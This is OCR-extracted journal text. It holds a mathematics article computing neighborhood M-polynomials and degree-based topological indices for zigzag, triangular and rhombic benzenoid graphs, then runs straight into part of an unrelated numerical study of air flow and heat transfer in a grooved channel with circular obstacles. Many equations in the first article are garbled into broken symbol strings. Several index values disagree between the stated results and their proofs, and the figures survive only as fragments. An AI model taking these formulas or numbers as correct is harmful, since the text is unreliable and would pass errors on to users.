GIMANIYE gy Kadirli Uygulamali Bilimler Fakiiltesi Dergisi ~ Journal of Kadirli Faculty of Applied Sciences

4‘(,) Cilt 4, Say1 1, 166-178, 2024 Volume 4 Issue 1, 166-178, 2024
k4 r Q qQ
ks
.: 5 H H UYGULAMALI BILIMLER
/“ & Kadirli Uygulamal Bilimler Journal of Kadirli Faculty of
Fakiiltesi Dergisi Applied Sciences

NM-polynomials and Neighborhood Degree Based Topological Indices of Some
Benzenoid Systems

Ozge COLAKOGLUY
IMersin University, Science Faculty, Mathematics Department, Mersin, Tiirkiye

Ihttps://orcid.org/0000-0003-4094-3380
*Corresponding author: ozgeeclkgl@gmail.com

Research Article ABSTRACT

Avrticle History: Topological indices are numerical descriptors of a chemical structure
Received: 03.07.2023 represented by a graph. Topological indices are used to predict the
Accepted: 21.09.2023 physical, chemical, and biological properties of chemical structures

Available online: 08.03.2024 without experimentation. In this study, the closed forms of the NM-

polynomials of and neighborhood degree-based topological indices of the
triangular, zigzag, and rhombic benzenoids are calculated. In addition, the
topological indices of the studied benzenoids are compared.

Keywords:

Graph theory

Topological index
NM-polynomials
Neighborhood degree-based-
topological index
Benzenoids

Bazi Benzenoid Sistemlerin NM-polinomlar1 ve Komsuluk Derecesine Dayali Topolojik
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Introduction
Chemical graph theory is a field that studies polynomials and topological indices that
predict the properties of chemical structures with graph theory, an area of discrete mathematics.

Topological indices are numerical descriptors of the graph representation of a chemical
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structure. A graph representation of a chemical structure, that is, a chemical graph, is a 2D
image of a dehydrogenated chemical. The atoms of the chemical structure are represented as
the tops of the graph and the interatomic bonds as the edges of the graph. Topological indices
have been used to predict the properties of chemical structures since 1947 (Wiener, 1947). Since
then, numerous topological indices have been defined that depend on the topology of the graph
(Liu and Singaraj, 2021; Rosary, 2022; Rosary and Fufa, 2022). In some graphs, it can be
difficult to calculate topological indices. Therefore, polynomials related to topological indices
are defined. One of them is NM-polynomials depending on the neighborhood degree. Havare
found that the neighborhood harmonic index for the molar volume property of new cancer drugs
is the best predictor index among many topological indices (Havare, 2021). Mondal studied
NM-polynomials for Titanium (Mondal et al., 2021). Afzal et al. calculated the NM-
polynomials of starphene (Afzal et al., 2022). Colakoglu calculated the neighborhood degree-
based topological indices of cycle-related graphs (Colakoglu, 2022). S6zen and Eryasar
calculated the NM-coindices of potential drug candidates against COVID-19 and obtained
QSPR modeling (S6zen and Eryasar, 2023).

Benzenoids are chemicals with a C,, H, structure, consisting of hexagons. These chemicals
are used in pharmaceutical industry, and food. Akhter and Imran calculated topological indices
of triangular benzenoids (Akhter and Imran, 2016). Kwun et al. obtained Zagreb indices and
polynomials of benzenoid systems (Kwum et al., 2018a). Afzala calculated the Banhattin
indices of zigzag benzenoids (Afzala et al., 2021). Awais et al. studied the irregularity indices
of benzenoid graphs (Awais et al., 2023). The M-polynomial and degree-dependent topological
indices of some benzenoids were calculated (Ali et al., 2018; Kwun, 2018b; Mumammed et al.,
2020). Rosary et al. studied valency-based irregular indices of some benzenoids (Rosary et al.,
2023).

In this study, benzenoid systems used in chemistry and industry are discussed with graph
theory. The results are intended to be used in QSPR and QSAR modeling for the production of
new chemicals. For this purpose, neighborhood polynomials of the zigzag, triangular and rhombic
benzenoids are obtained. Using these polynomials, topological indices depending on the
neighborhood degree are calculated. The graphics obtained using the MATLAB program are

compared.
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Material and Methods

If a graph G has p,q € V(G) vertex set and pq € E(G) edge set, then the order (size) of
vertices (edges) is defined as |V (G)| (|E(G)|). The degree of the vertex p of a graph G is
denoted by d,,. The neighborhood of a vertex p in a graph G, N(p), is the set of all vertices

adjacent to p (Chartrand et al., 2010). Let §, = Ypen(qdp and t*;; = {|NE; | |6, = i,64 = j}

The neighborhood M-polynomial is defined in (Verma et al., 2019) as

NM(G,7,s) = Xc; T1's/. (1)
Neighborhood degree-based topological indices are respectively defined as

NTI(G) = Suves;, © (6. 8y).

The formulas of third version of Zagreb (M,), neighborhood second modified Zagreb
(M,), neighborhood forgotten ( F), third NDe ( ND,), fifth NDe ( NDs), neighborhood inverse
sum indeg (IS8I), neighborhood harmonic (H) which are neighborhood degree-based
topological indices are given in the following table (see Table 1).

Table 1. The formulas of neighborhood degree-based topological indices.

Topological Indices Formulas Derivation From NM(G,r,s)
M;(6) Yuver) (Ou + 8,) ((Dr + DINM(G,7,5)), _._,
MZ,(G) ZquE(G) (6u6v) (DrDs) (NM(G, T, S))r=s=1
F ZquE(G) (6u2 + 6172) (Drz + DSZ)(NM(G’ T, S))r=5=1
NDes Yuver(e) (846,)(6y + 6,) D, Ds(D, + D)(NM(G,7,5)) ___,
ND 6, 6 D.E; + E.D))(NM(G,r,s
> ZuveE(G) (6_u + 6_1]) ¢ ° S)( ¢ ))T:SZI
v u
IS1 8.6, (E,JD.Ds)(NM(G,1,5)) _
) ZquE(G) 6u + 61; r=1
H 2 (EJ)(NM(G,7,5))__,

YuveE(6) G, 45

Where:

d(NM(G,r,s) d(NM(G,r,s) NM(G,t,r)
D, = r(%), D, = S((TTS))’ E, = for > Ddt, Eg =

IN NM(ffrt) dt,J(o(r,s)) = NM(G,7,7).

The graphs of zigzag benzenoids, ZZ,,, have 8n + 2 vertices and 10n + 1 edges. Figure

1 shows the zigzag benzenoids with the hydrogen atoms removed (Kwun et al, 2018a).
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Figure 1. The graph of zigzag benzenoids (Kwun et al, 2018a).
The graphs of triangular benzenoids, TB(n), have 8n + 2 vertices and 10n + 1 edges.

Figure 2 shows the graph of triangular benzenoids (Kwun et al, 2018a).

Figure 2. Triangular benzenoids (Kwun et al, 2018a).

The graphs of rhombic benzenoids, RB(n), have 2n(n + 2) vertices and 3n? + 4n — 1

edges. Figure 3 shows the rhombic benzenoids and its graph.

b) c)

Figure 3. a) [5]-Rhombene (Mishra et al.,2021), b) CzH.2 open-shell (Mishra et al., 2021) c) its graph,

RB(5)
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Results and Discussion

In this section, the neighborhood M-polynomials of zigzag benzenoids, triangular
benzenoids, and rhombic benzenoids are calculated. Using these polynomials, the first and
second Zagreb, forgotten, harmonic, inverse sum indices, third NDe and fifth NDe indices

based on neighborhood are calculated.
Theorem 1. The neighborhood M-polynomial of ZZ,, is
NM(ZZ,,71,s) = 2r*s* + 4r*s® + 4r5s7 + (2n — 2)r°s® + (4n — H)r5s® + 2r7s® + (4n
— 5)r8s8.
Proof. From Figure 1, |NE,.|=2,|NE,s| =4, |NEs,| =4, |NEss|=2n-2,
|NEsg| = 4n — 4, |NE, | = 2, |[NEgg| = 4n — 5.
From the Equation (1), it is obtained
NM(ZZy,7,5) = Yaca T aar*s* + Tues T as7*° + V55 T7557°5° + Vs 57757 +
Ys<g T s87>S% + N7<g T 7977 5% + Ngg T g7 ®s®
or
NM(ZZ,,71,s) = 2r*s* + 4r*s® + 4r5s7 + 2n — 2)r°s® + (4n — 4)r5s® + 2r7s® + (4n
— 5)r8s8.

Corollary 2. The topological indices based on the neighborhood degree of the ZZ,, graph

are
1. My(ZZ,) = 136n — 22. 4. NDe3(ZZ,) = 6676n — 3364.
2. M,(Zz,) = 466n — 166. 5. NDs(ZZ,) = %n + %

3. F(ZZ,) = 968n — 346.

6. 181(ZZ,) = %n _ 32

585"
- 197 3191
7. H(ZZn) = En + _4-680'

Proof. Using Theorem 1 and Table 1, the following equations are obtained

D,.(NM(ZZy,,1,s) = 8r*s* + 16r*s5 4+ 20r°s7 + 5(2n — 2)r°s® + 5(4n — 4)r°s® +
147758 + 8(4n — 5)r8s8,

Ds(NM(ZZ,,1,s)) = 8r*s* + 20r*s® + 28r°s” + 5(2n — 2)r5s° + 8(4n —
4)r°s® + 161758 + 8(4n — 5)r8s8,

D,.Dg(NM(ZZy,,1,5)) = 32r*s* + 80r*s® + 140r°s” + 25(2n — 2)r°s® + 40(4n —
4)r°s® + 1121758 + 64(4n — 5)r8s8,
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D,*(NM(ZZ,,7,5s)) = 32r*s* + 64r*s> + 100r°s” + 25(2n — 2)r>s° + 25(4n —
4)r>s8 + 981758 + 64(4n — 5)r8s8,

D*(NM(ZZy,7,5)) = 32r*s* + 100r*s® + 1961°s” + 25(2n — 2)r°s5 + 64(4n —
4)r>s8 + 128r7s8 + 64(4n — 5)r8s8

D,Ds(D, + Dg)(NM(ZZy,7,5)) = 256r*s* + 720r*s® + 1680r5s7 + 250(2n —
2)r°s® 4+ 520(4n — 4)r°s® + 1680r7s® + 1024(4n — 5)r8s8

(DyEs + E.Dg)(NM(ZZ,,1,5)) = 4r*s* + = r s5 + r5s7 +202n —2)r3s% +
% (4n — 4)r>s8 + r758 + 2(4n — 5)r8s

80 ro 35 ri2 10 4 40 13
(E,JD,Ds)(NM(ZZp,1,5)) = 478 +5r S5 - Dt + S (dn— Hr'd +

22715 4 4(4n — 5)r'S,

_ 18,8 9,2 12, @n-2) 10, 2(4n-4) 13, 4 15
QED(NM(2Zn, 7,5)) = 578 + 570 + 2712 + 5210 S22t 4 218 4

4n—-5
( - )r16

The following results are obtained:

1. M(ZZ,) = (16r*s* + 36r*s® + 481557 + 10(2n — 2)r%s5 + 13(4n — 4)r>s% +
30r7s® + 16(4n — 5)r8s®)(1,1) = 136n — 22.
2. M,(ZZ,) = (32r*s* + 80r*s® + 140r5s7 + 25(2n — 2)r5s5 + 40(4n — 4)r>s® +

112r7s8 + 64(4n — 5)r8s8)(1,1) = 466n — 116.

3. F(ZZ,) = (64r*s* + 164r*s5 4+ 2961°s” + 50(2n — 2)r°s° + 89(4n — 4)r°s® +
226r7s8 + 128(4n — 5)r8s8)(1,1) = 968n — 346.

4. NDes(ZZ,) = (256r%*s* + 7207r*s® 4+ 1680r°s” + 250(2n — 2)r>s® + 520(4n —
4)r°s® + 16801758 + 1024(4n — 5)r8s®)(1,1) = 6676n — 3364.

5. NDs(ZZ,) = (4r4s4 + %r“sS + %r557 +2(2n—2)r°s> + % (4n — 4)r>s8 +

L2758 4 204n - 5)rs®) (L) = 22n + 22

28 140
6. 181(ZZ,) = (4r8 + %01”9 + 335 2Z45m—1)ri%+ g( -+ — H2p15 4
_ 5)y16 _ 433, 3092
4(4n — 5)r )(1) =2 22

] _ 2 r12 (2n-2) 19 , 2(4n—4) 13 |, 4 15 , (4n-5) 44 _
7. H(ZZ,) = (r +2 r tort Y = A o )(1)—

197 3191
—n-—
130 4680

171



Theorem 2. The neighborhood M-polynomial of TB,, is
NM(TB,,1,s) = 6r*s®> + 61r5s7 + (bn — 12)r®s” + (3n — 3)r’s? + ; (3n? + n)rs°.
Proof. From Figure 2, [NE,s| = 6, [NEs;| = 6, [NEs ;| = 6n — 12, |[NE; 4| = 3n — 3,
|NEgo| = §(3n2 + n).
From the Equation (1), it is obtained
NM(TBy,7,5) = Yacs T 4s7*s® + Ts<7 T's577°s7 + N7 T 677057 + N7co T 7917s° +

Y9<9 T*99T959

or
3
NM(TB,,1,s) = 6r*s®> + 61r5s7 + (bn — 12)r®s” + 3n — 3)r’s? + 5 (3n? + n)rs’®

Corollary 2. The topological indices based on the neighborhood degree of the TB,, graph

are
1. M,(TB,) = 81n?+ 153n — 78. 4. NDe3(TB,) = 6561n? +
9 Mz(TBn) _ %nz n 112_25n _ 8487n — 5976
64 1153
363. 5. NDS(TBn) = 97’12 + ?n _E
’ — 2 _ ¢ _ 81 5 7893 12323
3. F(TB,) = 729n? + 1143n 6. ISI(TBy) =—n+——n——
0 7. HTB) =2+ Zln+ 2=
n 4 = 312 312
Proof. Using Theorem 2 and Table 1, the following results are obtained
1. M,(TB,) = (54r*s® + 72r%s7 + 13(6n — 12)r°s” + 16(3n — 3)r7s® + 27(3n? +

n)r?s?)(1,1) = 81n? + 153n — 78.

2. M,(TB,) = (120r455 + 21075s7 + 42(6n — 12)r®s” + 63(3n — 3)r’s% +

243
2

(3n? + n)rgsg) (1,1) = %nz + %25

n — 363.

3. F(TB,) = (246r*s> + 444r5s7 + 85(6n — 12)r°s” + 144(3n — 3)r’s° +
243(3n% + n)r’s°)(1,1) = 729n% + 1185n — 762.

4. NDes(TB,) = (1080r*s5 + 25207557 + 546(6n — 12)r°s7 + 1008(3n —

3)r7s% + 2187(3n% + n)r°s°)(1,1) = 6561n? + 8487n — 5976.
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5. ND(TB,) = (=r*sS + 201557 + 2 (6n — 12)r6s7 + 22 (3n — 3)r7s° +

1153
210"

3(3n% + n)r959) (1,1) = 9n? + ?

6. ISI(TB,) = (2r°+ 22 + Z(6n — 12)r3 + 2 3n - 3)r'e + L (3n2 +
18 _81_, 7893 12323
nr )(1)_ 2 + 208 v Teza

7. H(TB,) = Gr9 + 712 + % (6n — 12)r!3 + %(Sn - 3)rie + % (3n? + n)rlg) (1) =

Theorem 3. The neighborhood M-polynomial of RB,, is
NM(RB,,1,s) = 4r*s5 + 2r°s® + 8r5s7 + (8n — 16)r%s” + (4n — 4)r’s°
+ (3n? — 8n + 5)r°s°.
Proof. From Fig. 3, |NE,s|=4,|NEss| =2, |NEs;|=8, |NEs,|=8n-16 ,
|INE;o| = 4n — 4, [NEgq| = 3n? — 8n + 5.
From the Equation (1), it is obtained
NM(RB,7,5) = Y4es T 4sT*S® + D55 T557°5° + Vs T'577°s7 + ey T6770s7 +
Y720 T 79775% + Ygeg T gg1"s?
or
NM(RB,,1,s) = 4r*s®> + 2r°s5 + 8r>s7 + (8n — 16)r®s” + (4n — H)r’s’
+ (3n? —8n + 5)r%s?

Corollary 3. The topological indices based on the neighborhood degree of the RB,, graph

are
1. M;(RB,) = 54n? + 24n — 30. 4. NDy(RB,) = 4374n? — 3264n —
2. M,(RB,) = 243n? — 60n — 109. 7463
3. F(RB,) = 486n% — 168n — 142. 5. NDs(RB,) = 6n? + ?n _ %
6. ISI(RB,) =Zn? +n — 222
7. HRB) =%+ %
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Proof. Using Theorem 3 and Table 1, the following results are obtained

=

M;(RB,) = (361%s> + 207°s° + 961°s” + 13(8n — 16)r°®s” + 16(4n — 4)r’s° +
18(3n?% — 8n + 5)r?s%)(1,1) = 54n? + 24n — 30.
2. M,(RB,) = (80r*s> + 5075s> + 280r>s” + 42(8n — 16)r°s” + 63(4n —
)r’s® +81(3n%? —8n + 5)r’s?)(1,1) = 243n? — 60n — 1009.
3. F(RB,) = (164r*s® + 100r°s° + 592r°s” + 85(8n — 16)r°®s” + 112(4n —
N)r’s® +162(3n% — 8n + 5)r?s?)(1,1) = 486n? — 168n — 142.
4. ND;(RB,) = (720r*s> + 500r°>s® + 33607°s” + 546(8n — 16)r°®s” + 1008(4n —
)r’s® +1458(3n? — 8n + 5)r?s%)(1,1) = 4374n? — 3264n — 7463.

5. NDs(RB,) = (‘“ 455 + 41555 + 22557 + 2 (8n — 16)r6s7 + 2 (4n — 4)r7s% +
76 479
2(3n? —8n + 5)r959) (1,1) = 6n? + ramEvr

6. ISI(RB,) = (89—07‘9 + 5710 + 2412 + 2 (8n — 16)r3 + = (4n — 4)r16 + 2 (3n2 -

8n+5)r18) W) =Zn? + 2 - 22

468 °
+ n+ ==
1170

The graphs of the topological indices depending on the neighborhood of the zigzag

benzenoid graphs are given in Figure 4.
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Figure 4. The topological indices of zigzag benzenoid graphs
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The fastest growing topological index for zigzag benzenoids is the N D5 index from Figure
4. It was observed that NDs, F, M,, My, 181, NDs, and H, from largest to smallest, respectively.

Figure 5 shows the graph of the topological indices depending on the degree of neighborhood
of the triangular benzenoid graphs.

w108
3[ MD3 151 ye
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-~ rd
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s
2t -

: 0 12 a s s 20

Figure 5. The topological indices of triangular benzenoid graphs
The fastest growing index for triangular benzenoid graphs from Figure 5 is ND;. The
topological indices of triangular benzenoid graphs are NDs, F,M,, M,,ISI, NDs, and H
respectively, from the largest to the smallest values. Figure 6 is a plot of topological indices

depending on the degree of adjacency of rhombic benzenoid graphs.
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Figure 6. The plots of topological indices for rhombic benzenoid graphs
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It is seen from Figure 6 that values of the topological indices depending on the
neighborhood of the rhombic benzenoid graphs are ND3, F, M,, M4, ISI, NDs, and H, from

the largest to the smallest, respectively.

Conclusion

Recently, it has been important to predict the properties of chemicals for rapid chemical
production unexperimented. Therefore, topological indices and studies on this subject have
increased. In this study, zigzag benzenoids, triangular benzenoids, and rhombic benzenoids are
considered. The neighborhood polynomials of the graphs of these chemicals are found and the
topological indices depending on the neighborhood degree are calculated via these polynomials.
The neighborhood degree based on first and second Zagreb indices, the neighborhood degree
based forgotten, harmonic, inverse sum indices, third NDe and fifth NDe indices are studied.

While the topological indices values of zigzag benzenoids increase linearly, the values of
the indices of triangular and rhombic benzenoids increase curvilinearly. For all of these
benzenoids, the order of values of the topological indices is the same and the ND; index has
the largest values, the H index has the smallest values. The order of the values of the
topological indexes is ND; > F > M, > M, > IS > NDs > H.

The results of this study can be used to predict the properties of new chemicals with the
benzenoid system. It will shed light on the fields of chemistry, pharmaceutical industry,
mathematical chemistry. These results can be used in QSPR and QSAR studies.
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ABSTRACT

This study numerically evaluated the impact of the positions of circular
obstacles on hydraulic and thermal characteristics in a rectangular grooved
channel. Numerical study was solved by the ANSYS Fluent solver. In the
study, circular obstacles were placed in the rectangular grooved channel in
three different positions (Case 1, Case 2, and Case 3), and the findings were
compared to the grooved duct without circular obstacles (Case 0). The walls
of the grooved duct were kept at 350 K. The working fluid is air. The study
was conducted for different Reynolds numbers (2000 < Re < 10000). The
numerical findings were validated with previous study results. The simulation
results indicated that the velocity and thermal fields were significantly
affected by Reynolds number, position of the circular obstacles, and the
geometry of the channel. According to the results, while less pressure drop
occurred at the Case 3, the highest pressure drop and heat transfer were
obtained at the Case 1. Convection heat transfer improved 1.78 times at Casel
and Re=10000 compared to the Case 0. For all the flow cases, the Nusselt
number and the pressure loss increased with the Reynolds number. Thermo-
hydraulic performance values decreased with Reynolds number due to the
increase in friction factor.

Farkh Pozisyonlarda Dairesel Engellere Sahip Dikdortgen Oluklu Bir Kanalda Hidrodinamik
ve Termal Karakteristiklerin Sayisal Caliymasi

Arastirma Makalesi

Mabkale Tarihgesi:

Gelis tarihi: 16.09.2023
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Anahtar kelimeler:
Dikdoértgen oluklu kanal
Dairesel engeller

Is1 transferi

Tiirbiilansli akig
Stirtiinme faktori

oz

Bu galigma, dikdértgen oluklu bir kanalda hidrolik ve termal karakteristikler
tizerinde dairesel engellerin pozisyonlarinin etkisini sayisal olarak
degerlendirdi. Sayisal c¢aligma, ANSYS Fluent ¢oziicii ile ¢ozildi.
Calismada, dairesel engeller, dikdortgen oluklu kanala ii¢ farkli pozisyonda
(Durum 1, Durum 2 ve Durum 3) yerlestirildi ve bulgular dairesel engellerin
olmadig oluklu kanal (Durum 0) ile karsilagtirildi. Oluklu kanalin duvarlari
350 K’de korundu. Is yapan akiskan havadir. Calisma farkli Reynolds
sayilart i¢in gergeklestirildi (2000 < Re < 10000). Sayisal bulgular 6nceki
calisma sonuglar1 ile dogrulandi. Simulsayon sonuglari, hiz ve sicaklik
alanlarinin kanal geometrisinden, dairesel engellerin pozisyonundan ve
Reynolds sayisindan 6nemli derecede etkilendigini gostermistir. Sonuglara
gore, en az basing diisiisii Durum 3’de meydana gelirken, en yiiksek basing
diistisii ve 1s1 transferi Durum 1°de elde edilmistir. Tasimimla 1s1 transferi,
Re=10000 ve Durum 1°’de Durum 0’a gore 1,78 kat iyilesmistir. Tiim akis
durumlar igin, Reynolds sayisi ile Nusselt sayis1 ve basing diisiisii artmigtir.
Artan siirtiinme faktorii nedeniyle Reynolds sayisi ile termo-hidrolik
performans degerleri diigmiistiir.
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Introduction

Wavy and grooved channels have been widely used in many engineering applications in
recent years. These channels have more heat transfer surface area than straight channels.
Therefore, higher thermal improvement is achieved by increasing the heat transfer area. It is
preferred in many heating and cooling applications, especially in heat exchangers (Ajarostaghi
et al. 2022). Many researchers examined the thermal and hydraulic behavior of wavy/grooved
ducts with different geometries in experimental and numerical studies. The results of the works
indicated that grooved/wavy channels provide higher thermal performance than straight
channels. However, it was observed an increase in pressure drop in these channels (Kurtulmus
and Sahin 2019; Krishnan et al. 2021; Nfawa et al. 2021; Zontul et al. 2021; Alfellag et al.
2022).

Zhang and Che (2011) examined pressure drop and thermal characteristics in five
different grooved ducts (elliptical, sinusoidal, trapezoidal, rectangular, and triangular) and
declared that trapezoidal groove profile provided higher thermal performance and pressure drop
than other channels. In their three different studies, Akdag et al. evaluated the thermal
improvement under pulsating flow in sinusoidal wavy (2014), trapezoidal wavy (2016), and
triangular wavy (2019) channels, and reported that heat transfer enhanced in wavy ducts with
an increasing friction factor. In numerical work, Ahmet et al. (2014) examined the thermal
behaviors in corrugated channels with different waveforms (sinusoidal, trapezoidal, and
triangular). Their results noticed that the trapezoidal wave profile provided the highest thermal
enhancement and friction factor. The results of Salami et al. (2019) indicated that the maximum
Nusselt number was found in the trapezoidal corrugated duct, while the highest hydro-thermal
performance was provided in the sinusoidal wavy duct. Ameur and Sahel (2019) reported that
the Nusselt number increased but the friction factor decreased in rectangular, triangular, and
semicircular wavy channels, respectively. Shahsavar et al. (2021) examined hydrodynamic and
thermal characteristics of nanofluid flow in different waveforms (triangular, sinusoidal, and
trapezoidal), and declared that heat transfer in the sinusoidal wave profile improved more than
other ducts. Togun et al. (2022) executed a numerical work examining convective heat transfer
of hybrid nanofluid flow in a circular corrugated duct for varying modifications of ribs at 10000
< Re < 25000. They indicated that Nusselt number in the corrugated duct increased with

Reynolds number.
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Use of grooved/wavy duct to improve thermal performance is restricted. High heat
transfer enhancement can be provided by using extended surfaces/obstacles and corrugated
ducts together. For that reason, baffles or obstacles in different configurations are attached to
corrugated ducts. The use of these modifications increases thermal performance. However,
they will increase pumping power due to obstruction of flow in the duct. The effects of the
obstacles inserted into the duct have been examined by many researchers. The study results
indicated that the obstacles provide important improvement in heat transfer with an increasing
pressure loss (Bensaci et al. 2020; Akcay, 2022; Li et al. 2022; Inan et al. 2023). In the
numerical work, Handoyo and Ichsani (2016) studied impacts of delta-type obstacles on thermal
improvement and flow structure in V-type wavy ducts. They examined four different ratios of
obstacles (S/H: 0.5, 1, 1.5, 2). They reported that in the presence of obstacles, heat transfer can
be enhanced more than 3 times compared to the without obstacles situation. Selimefendigil and
Oztop (2016)’s numerical study indicated that heat transfer increase of 6.66% for the diamond-
type obstacle compared to the corrugated duct without obstacles. Feng et al. (2022) investigated
thermal performance of the triangular corrugated duct with trapezoidal baffles in different
arrangements. They found that the friction factor and Nusselt number increased by 3.5 times
and 1.7 times, respectively. The performance factor increased by 30% with the baffles. In a
numerical work, Akcay and Akdag (2023) examined the impacts of the inclined baffles on
thermal enhancement in a straight duct. Akcay (2023a) numerically investigated convective
heat transfer for different flow velocities in a semicircular shaped grooved duct with vertical
baffles. It was reported that convective heat transfer and flow structure were highly influenced
by duct geometry and baffles. In another numerical study, Akcay (2023b) investigated the
thermal and hydraulic behavior in a zigzag duct with winglets and declared that thermal
enhancement significantly increased with the increase in friction factor in zigzag wavy channel
with winglets.

As can be seen from the above works, the wavy/grooved channels greatly improve
thermal performance with an increase in friction factor. The fact that there are too many
parameters to be examined such as geometries of wavy channels and obstacles, arrangements
of obstacles in duct, and fluid/flow properties have led to an increase in studies. The main
purpose of these studies is to increase heat transfer without a significant increase in pressure
loss. The studies on this subject are still ongoing. In addition, according to the open literature,
no study has been found investigating the effects of different positions of circular obstacles on
turbulent flow and heat transfer in a rectangular grooved channel. Therefore, the present study

focuses investigating the flow and thermal characteristics in the rectangular grooved channels
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with different positions of circular obstacles.

Materials and Methods

Description of Numerical Geometry

uin y a b et s r s (- s Uout
|:>T X IHl IHZ _ _ . . _ _ —
l_' L A L2 i Ls J
(a) case 0
_:lw=0 L _II w=10 mm L _J. w=22.5 mm L
: =5 | - :
(O O - O
_1 — 1 — 1 [
(b) case 1 (c) case 2 (d) case 3

Figure 1. Geometries of the numerical model, (a) case 0, (b) case 1, (c) case 2, (d) case 3.

Figure 1 indicates 2d numerical model of rectangular grooved channels with circular
obstacles in different positions. The maximum and minimum height of the channel are Hi = 40
mm and Hz = 30 mm, respectively. There is an adiabatic flat part of L1 = 10H; and Lz = 5Hj at
the inlet and outlet of the duct, respectively. The length of the grooved part of the duct is Lo =
500 mm. The lengths a, and b of the rectangular corrugated parts are 20 and 60 mm,
respectively. The diameters of the obstacles are d=15 mm. The channel consists of a total of 6
grooved sections. Channel flow without circular obstacles is defined as Case 0. Other channel
flows are named according to the positioning of the circular obstacles in the rectangular

corrugated channel and presented in Table 1.

Table 1. Descriptions of the channel flows

Channel flow The position of the circular obstacles, (w)
Case 0 without circular obstacles

Case 1 w = 0 mm, with circular obstacles

Case 2 w = 10 mm, with circular obstacles

Case 3 w = 22.5 mm, with circular obstacles

Governing Equations
In the present study, the medium fluid is air. The fluid is considered as incompressible

and Newtonian type. The fluid flows in the turbulent regime and at steady conditions. Fluid
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properties are constant. Radiation and gravity effects are ignored. For these assumptions, the

conservation equations are written by (Zontul et al. 2021):

d —
6_xi(Pui) =0 o
om; 0

5 om0+ 5 (omm) = =32+ 5w (35 52| - g @

d — 9 o P 5

5 e+ 5 o) = 55| 10 (55 ©
ou;  ou;

—u = (o) (32 + 52) (4)

: O ki) =2 [(u+ ) %] + 6, —

52 000+ 5 o) = 3+ 2) | + = e (5)

9 9 7 9 0 2

32 09 + 5 pe) = | (e + 5 2|+ Cue 6= Caon (6)

In this work, the hydrodynamic and thermal behaviors in the rectangular grooved duct
with different positions of the circular obstacles were studied for varying Reynolds numbers
(2000 < Re < 10000).

Reynolds number, Re is given by (Akcay, 2023b):

R — PUinDh 7
e = Hinln ™

where Dn, Uin, p, and p show the hydraulic diameter, the velocity of fluid, the density, and the
dynamic viscosity, respectively.

The mean Nusselt number, Nu is calculated by (Akcay 2023b):

h Dp

e ®)
where h is heat transfer coefficient, and k indicates thermal conductivity.
The heat transfer coefficient, h is obtained by (Akcay 2023a):

Nu =

h=%L )

AT

where AT is temperature difference, and q” indicates heat flux.

The relative Nusselt number, Nure is described as the ratio of the Nusselt number (Nug)
in the rectangular grooved duct with obstacles to the Nusselt number (Nuo) in the rectangular
grooved duct without obstacles and is calculated as (Akcay 2023a):

Nuyg = N, (10)
The friction factor, f is found by (Zontul et al. 2021):

__ 2APDy
f= pLu?, (11)

The relative friction factor, frel is obtained by (Akcay 2022):
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fre1 = ];c_: (12)
where, fo and fy are the friction factors for grooved duct without obstacles and grooved duct

with obstacles, respectively.

The thermo-hydraulic performance, THP can be computed by (Zontul et al. 2021):

_ Nuyg
THE = o7 43

Numerical Procedure

The numerical simulations were carried out with FLUENT software (2015). The solution
domain was first divided into cells. Due to the high mesh quality (0.92), the triangular-shaped
elements were preferred in the numerical model. Detail of the mesh structure for Case 3 was
shown in Figure 2. The second-order upwind scheme was utilized to discretize of the
convectional terms. The SIMPLE algorithm was employed for the pressure-velocity coupling.
The standard k-¢ turbulence model was considered as viscous model. The convergence values
were set to 107 in the energy equations, 10 in other equations. As a result of the mesh
independence test, it was decided that 101254 element numbers are sufficient for the
calculations in the rectangular grooved duct with circular obstacle (Case 3). Nusselt numbers
with grid numbers for Case 3 at Re=10000 were given in Table 2.

s e o & & & |

] | ] B

Figure 2. Mesh structure of the numerical model for Case 3.

Table 2. Grid independence testing (Case 3 and Re=10000)

Element number Nusselt number Difference, %
47824 10.825 -

72826 12.187 11.18

101254 13.152 7.37

134468 13.412 1.98

166542 13.524 0.83

184



Boundary Conditions and Validation

For the solutions, some boundary conditions were performed to the numerical model. The
medium fluid enters the duct with a uniform velocity (uin) and a constant temperature (Tin = 300
K). The pressure outlet condition was applied at the duct exit. The straight sections of the duct
(L1 and L3) were described as adiabatic. The rectangular corrugated walls of the channel (L>)
were maintained at a constant temperature (Tw = 350 K). The obstacles have non-slip and
adiabatic conditions. Moreover, the non-slip conditions were set for flat and grooved walls of
the duct.

The results of this numerical study were compared to the results of Brodniansk’a and
Kot"smid (2023). The reference study (Brodniansk a and Kot smid, 2023) experimentally and
numerically calculated the heat transfer coefficient at the mass flow rate of 5 m*/h for a straight
duct with a height of 40 mm. In this study, a straight duct with the same hydraulic diameter as
the reference study was considered and solutions were compared using similar flow conditions.

The findings of this work and the results of the previous work were indicated in Figure 3.

5 m3/h, flat channel

g 9]
£
S 5§
= R
8 pil N 9
e 24 7 TTT@m=—eal
s 41 T ]
(5]
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g 37 ®  Brodniansk’a & Kot"smid (2023)
I Brodniansk'a & Kot smid (2023)
% 2 1 O  present study
T

1 T T T

0,25 0,26 0,27 0,28 0,29

Lenght (m)

Figure 3. Validation of the numerical study.

In the numerical work, the velocity and temperature contours were obtained in the
rectangular grooved channel at varying Reynolds numbers to determine the effects of circular
obstacles with different positions on the flow and temperature fields. Figure 4 indicated the
images of the velocity contours for all channel flows at Re = 2000 (Fig. 4a) and Re = 10000
(Fig. 4b). It was observed that the flow fields significantly varied by the channel geometry, the
positions of the circular obstacles and Re. In the Case 0, it was observed that the velocity

increased in the sections where the cross-sectional area narrowed.
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Figure 4. The velocity contours, a-Re=2000, b- Re=10000.

The flow velocity increased in the narrowing channel sections and the primary flow was
divided into two different branches due to circular obstacles. Also, the circular obstacles were
directed the fluid towards the hot corrugated walls. The contact of the colder fluid with the hot
corrugated walls was ensured. It was observed that the flow rejoined after each circular obstacle
(Fig. 4a). As the Reynolds number increases, momentum and mass transfer in the channel
increases. Thus, the hot corrugated walls were brought into contact with more cold fluid (Fig.
4b). At Case 1, it was observed that the stagnant fluid region behind the obstacles is larger than
Case 3.

Figure 5 indicated the images of the temperature fields for all channel flows at Re = 2000
(Fig. 5a) and Re = 10000 (Fig. 5b). The temperature gradients in the channels were affected by
the position of the circular obstacles and the Reynolds numbers. At Re = 2000, the temperature
gradient is quite high in all channel flows. It was seen that the temperature gradient highly
decreased at Re = 10000. Increasing Reynolds number allowed more cold fluid to contact the
grooved channel surfaces. The obstacles directing the fluid to the corrugated surfaces

contributed to the reduction of surface temperature of the channel.
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Figure 5. Temperature contours, (a) Re=2000, (b) Re=10000

